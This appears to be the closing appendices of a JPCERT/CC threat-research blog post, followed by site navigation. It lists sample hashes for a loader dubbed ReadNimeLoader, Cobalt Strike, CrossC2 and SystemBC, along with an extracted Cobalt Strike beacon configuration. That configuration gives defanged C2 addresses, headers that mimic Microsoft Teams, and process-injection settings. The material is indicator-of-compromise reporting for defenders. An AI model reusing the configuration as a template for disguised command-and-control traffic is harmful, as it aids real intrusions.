ad90a4490d82c7bd300fdbbdca0336e5ad2219d63ea0f08cebc33050d65b7ef2	Old	toupper(to_hex("lklzndaawijhd")) + zero padding	70b3b8e07752c1f3d4a462b2ab47ca3d9fb5094131971067230031b8b2cd84f2	CobaltStrike
99d6b73b1a9e66d7f6dcb3244ea0783b60776efd223d95c4f95e31fde434e258	Old	toupper(to_hex("ifovxtgokm\|yzjwz"))	Unknown	Unknown

Appendix C: Example of Cobalt Strike configuration

BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 30000
MaxGetSize                       - 2097328
Jitter                           - 40
MaxDNS                           - Not Found
PublicKey_MD5                    - d67a7903c6777d64b69845b6fcd5db65
C2Server                         - 64.95.10[.]209,/Collector/2.0/settings/,179.60.149[.]209,/Collector/2.0/settings/,64.52.80[.]62,/Collector/2.0/settings/
UserAgent                        - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.4.00.2879 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36
HttpPostUri                      - /MkuiIJzM2IZs
Malleable_C2_Instructions        - Remove 46 bytes from the end
                                   Remove 130 bytes from the beginning
                                   NetBIOS decode 'a'
HttpGet_Metadata                 - ConstHeaders
                                        Accept: json
                                        Host: westeurope-teams.azureedge.net
                                        Referer: https://teams.microsoft.com/_
                                        x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c
                                        x-ms-client-type: desktop
                                        x-mx-client-version: 27/1.0.0.2021020410
                                        Accept-Encoding: gzip, deflate, br
                                        Origin: https://teams.microsoft.com
                                   ConstParams
                                        qsp=true
                                        client-id=NO_AUTH
                                        sdk-version=ACT-Web-JS-2.5.0&
                                   Metadata
                                        base64url
                                        parameter "events"
HttpPost_Metadata                - ConstHeaders
                                        Connection: Keep-Alive
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                   SessionId
                                        base64url
                                        parameter "id"
                                   Output
                                        base64url
                                        print
PipeName                         - Not Found
DNS_Idle                         - Not Found
DNS_Sleep                        - Not Found
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
SSH_Banner                       -
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\powercfg.exe
Spawnto_x64                      - %windir%\sysnative\powercfg.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark_Hash                   - NtZOV6JzDr9QkEnX6bobPg==
Watermark                        - 987654321
bStageCleanup                    - True
bCFGCaution                      - True
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 8096
ProcInject_PrependAppend_x86     - Empty
ProcInject_PrependAppend_x64     - Empty
ProcInject_Execute               - ntdll.dll:RtlUserThreadStart
                                   NtQueueApcThread-s
                                   SetThreadContext
                                   CreateRemoteThread
                                   kernel32.dll:LoadLibraryA
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - False
HostHeader                       -
headersToRemove                  - Not Found
DNS_Beaconing                    - Not Found
DNS_get_TypeA                    - Not Found
DNS_get_TypeAAAA                 - Not Found
DNS_get_TypeTXT                  - Not Found
DNS_put_metadata                 - Not Found
DNS_put_output                   - Not Found
DNS_resolver                     - Not Found
DNS_strategy                     - round-robin
DNS_strategy_rotate_seconds      - -1
DNS_strategy_fail_x              - -1
DNS_strategy_fail_seconds        - -1
Retry_Max_Attempts               - 0
Retry_Increase_Attempts          - 0
Retry_Duration                   - 0

Appendix E: Malware

Table 2: List of malware and tools

Malware	Filename	Hash(SHA256)
java(Legitimate)	java.exe	16b1819186f0803b9408d9a448a176142f8271a4bc0b42cdb78eb4489bce16fe
ReadNimeLoader	jli.dll	56b941f6dcb769ae6d6995412559012abab830f05d5d8acf2648f7fa48c20833
ReadNimeLoader	jli.dll	dfe79b9c57cfb9fc10597b43af1c0a798991b6ceeec2af9b1e0ed46e6a8661c8
ReadNimeLoader	jli.dll	3f96b6589996e57abc1c4d9b732528d2d11dea5c814f8241170c14ca2cd0281d
ReadNimeLoader	jli.dll	0ab709728666f8759ad8db574d4009cf74ebce36ef2572ef52b058997a9b2a25
ReadNimeLoader	jli.dll	ecca3194613b0bab02059c3544fdc90f6d4af5a4c06518c853517eb1d81b9735
ReadNimeLoader	jli.dll	ad90a4490d82c7bd300fdbbdca0336e5ad2219d63ea0f08cebc33050d65b7ef2
ReadNimeLoader	jli.dll	99d6b73b1a9e66d7f6dcb3244ea0783b60776efd223d95c4f95e31fde434e258
Cobalt Strike	readme.txt	6246fb5c8b714707ac49ade53e6fe5017d96442db393b1c0ba964698ae24245d
Cobalt Strike	readme.txt	acdf2a87ed03f2c6fe1d9899e8a74e8b56f7b77bb8aed5adf2cc374ee5465168
Cobalt Strike	readme.txt	6b80d602472c76b1d0f05bcce62e0a34de758232d9d570ba61b540784c663c01
Cobalt Strike	readme.txt	3079a29575a0adff91f04c5493a7f3e1c89795e3a90cf842650cd8bd45c4e1bc
Cobalt Strike	readme.txt	70b3b8e07752c1f3d4a462b2ab47ca3d9fb5094131971067230031b8b2cd84f2
CrossC2	gds	28d668f3e1026a56d55bc5d6e36fad71622c1ab20ace52d3ab12738f9f8c6589
CrossC2	gss	9e8c550545aea5212c687e15399344df8a2c89f8359b90d8054f233a757346e7
ELF-SystemBC	monitor	74a33138ce1e57564baa4ea4db4a882d6bf51081b79a167a6cb2bf9130ddad7f
ELF-SystemBC	monitor	7ccff87db7b4e6bc8c5a7e570f83e26ccb6f3a8f72388210af466048d3793b00
GetNPUsers	GetNPUsers_windows.exe	e0e827198a70eef6c697559660106cfab7229483b0cd7f0c7abd384a3d2ee504
Tools related to privilege escalation	wermgr.exe	f79e047ae4834e6a9234ca1635f18b074a870b366fe4368c10c2ddc56dfbb1bc
Tools related to privilege escalation	wermgr.exe	ac02aee660d44a8bfbc69e9c46cf402fd41e99915e13d0de3977e662ef13b2ca
Plink v0.81	conhost.exe	2e338a447b4ceaa00b99d742194d174243ca82830a03149028f9713d71fe9aab
PsExec v2.43	PsExec.exe	078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
cab-related tool	hhupd.exe	d74eac55eeaa3138bc1e723c56013bb1af7709f0a77308bfbf268d4e32b37243

JPCERT/CCブログ 英語版

TSUBAME Report Overflow (Jan-Mar 2026)

Observation Trends Related to Japan in FY2025 (April 2025–March 2026)

Comparison of the observation trends in Japan and overseas

Comparison of monitoring trends by sensor

In closing

Update on Attacks by Threat Group APT-C-60 in 2026

Initial Access Method

Behavior of the LNK File

Legitimate Services Used as Attack Infrastructure

In Conclusion

Appendix A: Network IoCs (SpyGlace C2 Infrastructure)

Appendix B: URLs of Legitimate Services Used by the Attacker

Appendix C: IoC Files

Appendix D: Spear-Phishing Email Senders

Appendix E: Attacker Management Repository

Appendix F: Email Addresses Used for Commits

Appendix G: Victimized Devices Identified from the GitHub Repository (Volume Serial Number and Computer Name)

TSUBAME Report Overflow (Oct-Dec 2025)

Suspicious Packets Originating from DVR/NVR Devices

Comparison of the observation trends in Japan and overseas

Comparison of monitoring trends by sensor

In closing

ICS Security Conference 2026

Opening remarks

ICS Security Today and Tomorrow - A Review of the Past Year

Learning Incident Response for ICS from the “Preparedness” Factories Have Practiced for Decades

Security Challenges and Defense Methods for Digital Twins in the Automotive Industry

Promoting Integrated Safety and Security Design for Cyber Attack Response

International Trends in Vulnerability Information and CVD-Related Activities Amid Growing Interest Driven by European Regulations and Other Legal Requirements

Closing remarks

In Closing

TSUBAME Report Overflow (Jul-Sep 2025)

Suspicious packets from domestic NVR products

Comparison of the observation trends in Japan and overseas

Comparison of monitoring trends by sensor

In closing

CSIRTs Around the World – Azerbaijan

Azerbaijan, the “Land of Fire,” and Its Capital Baku, the “City of Winds”

CSIRTs in Azerbaijan

CERT.AZ

CERT.GOV.AZ

AzScienceCERT

Organizations Supporting Human Resource Development and Capacity Building

Azerbaijan Cybersecurity Center

Association of Cybersecurity Organizations of Azerbaijan (AKTA)

Conclusion

References

Study of Binaries Created with Rust through Reverse Engineering

Contents of the Report

Usage Scenarios

Conclusion

Appendix A: Study Items

JSAC2026 -Workshop/Lightning Talk Session/Panel Discussion-

Leveraging EML Analyzer to Triage Malicious Email Messages During Incident Response

Speaker: Manabu Niseki; Michał Praszmo, CERT Polska

Advanced Malware Reverse Engineering: Dealing with Anti-Analysis Techniques from Scratch

Speaker: Mark Lim, Palo Alto Networks, Inc.

Re:birth the fidb: Reverse Engineering the .NET AOT Malware

Speaker: Akihiro Yoshitake; Akihiro Kida; Akihiro Jin, NF Laboratories Co., Ltd.

HoldingHandsRAT Attacks Against Japanese Companies

講演者：Speaker: Toshiki Takeuchi, NEC

Dangerous Co-Tenants in Hosting Services

講演者：Speaker: Takayuki Tomatsuri, NTT Security Japan Co., Ltd.; Ryosuke Togashi, NTT DOCOMO BUSINESS, Inc.

Efficient Phishing Site Hunting with TOAMI, IKESU, and CHOKA: Browser Extension Integration for Streamlined Operations

Speaker: Yuichi Tsuboi, NTT DOCOMO BUSINESS, Inc.

Deceiving Developers: Abusing Legitimate GitHub Repositories to Deliver Malware

Speaker: Theo Webb, GMO Cybersecurity by Ierae, Inc.

Unmasking Houken: Advanced TTPs and Detection

Speaker: Ruth Ng, PricewaterhouseCoopers Hong Kong

Monitoring Domestic Mobile Line Contracts Used by Overseas Investment Scams and Similar Fraud Schemes

Speaker: yumano

Security Incidents of 2025 Highlighted by the JSAC2026 Review Board

Speaker: CFP Review Board

Conclusion

JSAC2026 -Day 2-

Following the Trace: Reconstructing Attacks from Ext4 and XFS Journals

Speaker: Minoru Kobayashi, Internet Initiative Japan Inc.

Unmasking the CoGUI Phishing Kit, the Major Chinese Phishing-as-a-Service Targeting Japan

Speaker: TeamDonut Shadow Liu, Lime Chen, Albert Song

JPCERT/CCブログ英語版